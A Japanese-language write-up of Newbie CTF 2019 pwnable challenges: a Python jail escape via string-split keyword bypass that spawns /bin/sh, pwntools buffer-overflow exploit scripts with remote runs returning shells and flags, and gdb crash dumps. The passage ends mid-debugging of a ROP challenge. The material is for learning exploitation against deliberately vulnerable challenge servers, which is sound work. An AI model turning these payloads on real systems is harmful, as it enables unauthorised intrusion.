韓国のCTFチームKorNewbieが主催のCTFです。 難易度は、結構低めでpicoCTFの400~500点ぐらいの難易度ぐらいという印象でした。 今回もチームで参加しました。チームメンバが4問解いてくれました。 結果は、14/566位で、11874点でした。 私も14問解くことができたので、そのWriteupを紹介します。

Newbie CTF 2019 Writeup（14問）

python_jail（Pwnable）

問題

Hi! Welcome to pyjail!
Escape Jail If you can!
Author: SPark
nc prob.vulnerable.kr 20001

解答例

netcatで接続すると、以下のようなメッセージが出てきました。

$ nc prob.vulnerable.kr 20001
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")
    print(open(__file__).read())
    print("========================================================================")
    print("RUN")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()
========================================================================
RUN
>>> 

どうやらpythonから抜け出すことが目的のようです。 ただし、いくつかのキーワード（eval、exec、import、open、os、read、system、write）が禁止となっているようです。

色々と試しながら調整をしていると、 以下の入力で、各キーワードを回避しながらシェルを起動させることに成功しました。

__builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')

実際に入力すると、以下のようになります。

$ nc prob.vulnerable.kr 20001
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")
    print(open(__file__).read())
    print("========================================================================")
    print("RUN")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()
========================================================================
RUN
>>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')
id
uid=1000(python_jail) gid=1000(python_jail) groups=1000(python_jail)
cat /home/python_jail/flag
KorNewbie{H311o_h0w_@r3_y0u_d0lng?}

FLAG

KorNewbie{H311o_h0w_@r3_y0u_d0lng?}

babypwn（Pwnable）

問題

This Challenge remake...
i want many solve!!!
do you know Buffer Overflow???

nc prob.vulnerable.kr 20035
Author : 이도현

添付ファイル

• babypwn

解答例

とりあえず、fileコマンドとchecksecコマンドを打ってみます。 問題文通り、バッファオーバーフローができそうです。

$ file babypwn 
babypwn: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=bba69da963702e6c7c0dbdcda99c6c050c1894e0, not stripped
$ checksec babypwn 
[*] '/root/workdir/babypwn/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

Ghidraでも開いてみます。 getsのところでバッファオーバーフローさせて、flag2関数に呼び出せば、シェルが取れそうです。

次にgdb-pedaのpattcとpattoを使ってオーバーフローする場所を確かめます。 1032文字でオーバーフローするようです。

gdb-peda$ pattc 1100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA'
gdb-peda$ run
Starting program: /root/workdir/babypwn/babypwn 
How is the weather today? : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x44c 
RDX: 0x7ffff7dd59e0 --> 0x0 
RSI: 0x7ffffbb3 
RDI: 0x1 
RBP: 0x6e41286e412d6e41 ('An-An(An')
RSP: 0x7fffffffe4c8 ("DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
RIP: 0x400603 (<main+77>:       ret)
R8 : 0x6e417a2441792441 ('A$yA$zAn')
R9 : 0x41426e41736e4125 ('%AnsAnBA')
R10: 0x7ffff7dd26a0 --> 0x0 
R11: 0x246 
R12: 0x4004c0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe5a0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005f8 <main+66>:  call   0x400480 <printf@plt>
   0x4005fd <main+71>:  mov    eax,0x0
   0x400602 <main+76>:  leave  
=> 0x400603 <main+77>:  ret    
   0x400604 <flag1>:    push   rbp
   0x400605 <flag1+1>:  mov    rbp,rsp
   0x400608 <flag1+4>:  sub    rsp,0x10
   0x40060c <flag1+8>:  mov    DWORD PTR [rbp-0x4],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4c8 ("DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0008| 0x7fffffffe4d0 ("nEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0016| 0x7fffffffe4d8 ("AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0024| 0x7fffffffe4e0 ("1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0032| 0x7fffffffe4e8 ("n2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0040| 0x7fffffffe4f0 ("An3AnIAneAn4AnJAnfAn5AnKAngA")
0048| 0x7fffffffe4f8 ("eAn4AnJAnfAn5AnKAngA")
0056| 0x7fffffffe500 ("nfAn5AnKAngA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400603 in main ()
gdb-peda$ patto DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA
DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA found at offset: 1032
gdb-peda$ 

以下のようなスクリプトを作成しました。

from pwn import *

ARCH = "amd64"
FILE = "./babypwn"
LIBC = ""
HOST = "prob.vulnerable.kr"
PORT = 20035

def exploit(con, elf, libc, rop):
    flag_symbol = elf.symbols[b"flag2"]
    log.info("flag symbol: {}".format(hex(flag_symbol)))

    offset = 1032
    payload = b"A" * offset
    payload += pack(flag_symbol)
    log.info("payload: {}".format(payload))
    con.sendline(payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルが取れました。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20035: Done
[*] '/root/workdir/babypwn/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[*] Loaded cached gadgets for './babypwn'
[*] flag symbol: 0x400636
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ id
uid=1000(babypwn) gid=1000(babypwn) groups=1000(babypwn)
$ cat /home/babypwn/flag
KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}$

FLAG

KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}

OneShot_OneKill（Pwnable）

問題

You have just one bullet.... kill him! Author: Y311J(신재욱)
nc prob.vulnerable.kr 20026

添付ファイル

• oneshot_onekill

解答例

とりあえず、fileコマンドとchecksecコマンドを打ってみます。 バッファオーバーフローができそうです。

$ file oneshot_onekill 
oneshot_onekill: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=02fcb5d276e425265c5490b5d01b344bfbb2b7d1, not stripped
$ checksec oneshot_onekill 
[*] '/root/workdir/oneshot_onekill/oneshot_onekill'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Ghidraでも開いてみます。 getsのところでバッファオーバーフローさせて、oneshot関数に呼び出せば、フラグが表示されそうです。

次にgdb-pedaのpattcとpattoを使ってオーバーフローする場所を確かめます。 304文字でオーバーフローするようです。

gdb-peda$ pattc 400
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'
gdb-peda$ run
Starting program: /root/workdir/oneshot_onekill/oneshot_onekill 
Do you know basic of BOF?
This prob is for newbie pwner, so it is x32 binary
This Environment has only ASLR and NX, NO other migitations
Can you Exploit it?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-
A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fcb000 --> 0x1a9da8 
ECX: 0xf7fcbb07 --> 0xfcc8980a 
EDX: 0xf7fcc898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x6825414c ('LA%h')
ESP: 0xffffd5e0 ("%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
EIP: 0x41372541 ('A%7A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41372541
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 ("%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0004| 0xffffd5e4 ("iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0008| 0xffffd5e8 ("A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0012| 0xffffd5ec ("%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0016| 0xffffd5f0 ("9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0020| 0xffffd5f4 ("A%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0024| 0xffffd5f8 ("%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0028| 0xffffd5fc ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41372541 in ?? ()
gdb-peda$ patto 0x41372541
1094133057 found at offset: 304

以下のようなスクリプトを作成しました。

from pwn import *

ARCH = "i386"
FILE = "./oneshot_onekill"
LIBC = ""
HOST = "prob.vulnerable.kr"
PORT = 20026

def exploit(con, elf, libc, rop):
    oneshot_symbol = elf.symbols[b"oneshot"]
    log.info("oneshot symbol: {}".format(hex(oneshot_symbol)))

    offset = 304
    payload = b"A" * offset
    payload += pack(oneshot_symbol)
    log.info("payload: {}".format(payload))
    con.sendline(payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグが表示されます。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20026: Done
[*] '/root/workdir/oneshot_onekill/oneshot_onekill'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] Loaded cached gadgets for './oneshot_onekill'
[*] oneshot symbol: 0x80485a5
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa5\x85\x04\x08'
[*] Switching to interactive mode
Do you know basic of BOF?
This prob is for newbie pwner, so it is x32 binary
This Environment has only ASLR and NX, NO other migitations
Can you Exploit it?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa5\x85\x0
KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#}
:(....One Shot.. One Kill..[*] Got EOF while reading in interactive
$

FLAG

KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#}

dRop_the_beat（Pwnable）

問題

dRop the Beat DJ!!
Author: Y311J(신재욱)
nc prob.vulnerable.kr 20002

添付ファイル

• drop_the_beat_easy
• libc.so.6

解答例

とりあえず、fileコマンドとchecksecコマンドを実行してみます。 32bitのELFファイルで、バッファオーバーフローもできそうです。

$ file drop_the_beat_easy libc.so.6 
drop_the_beat_easy: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=f939bdeeebda44feabe09476f2c6bbd6ed32c42a, not stripped
libc.so.6:          ELF 32-bit LSB  shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked (uses shared libs), BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141, for GNU/Linux 2.6.32, stripped
$ checksec drop_the_beat_easy libc.so.6 
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

次にGhidraでデコンパイルしてみました。39行目のところでバッファローできそうです。 ただし、今回は、呼び出してフラグが表示されそうな関数は見当たりませんでした。

今回は、libcファイルが提供されています。 提供されたlibcファイルでROPチェインを作成し、シェルを起動させる方針で進めていきます。

やるべき作業は、以下の3点です。

1. バッファオーバーフロー位置の特定
2. libcのベースアドレスの特定
3. ROPチェインの作成

まずは、gdb-pedaのpattcとpattoでバッファオーバーフロー位置を特定します。

gdb-peda$ pattc 400
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'
gdb-peda$ run
Starting program: /root/workdir/drop/drop_the_beat_easy 
      dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      88  88    `8b d8'   `8b  88    `8b      88   88                   88                           88   
.d888b88 a88aaaa8P' 88     88 a88aaaa8P'    d8888P 88d888b. .d8888b.    88d888b. .d8888b. .d8888b. d8888P 
88'  `88  88   `8b. 88     88  88             88   88'  `88 88ooood8    88'  `88 88ooood8 88'  `88   88   
88.  .88  88     88 Y8.   .8P  88             88   88    88 88.  ...    88.  .88 88.  ... 88.  .88   88   
`88888P8  dP     dP  `8888P'   dP             dP   dP    dP `88888P'    88Y8888' `88888P' `88888P8   dP   
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

dROP The beat(easy version)

1) Give Him a Beat!
2) No Beat For You..!
1
Give Me a Beat!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-
A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fcb000 --> 0x1a9da8 
ECX: 0xf7fcbb07 --> 0xfcc8980a 
EDX: 0xf7fcc898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41684141 ('AAhA')
ESP: 0xffffd5f0 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\
377\243\336\377\377"...)
EIP: 0x41413741 ('A7AA')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41413741
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377
\377\243\336\377\377"...)
0004| 0xffffd5f4 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377
\243\336\377\377\262\336\377\377"...)
0008| 0xffffd5f8 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377"...)
0012| 0xffffd5fc ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377"...)
0016| 0xffffd600 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377"...)
0020| 0xffffd604 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377"...)
0024| 0xffffd608 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377\374\336\377\377"...)
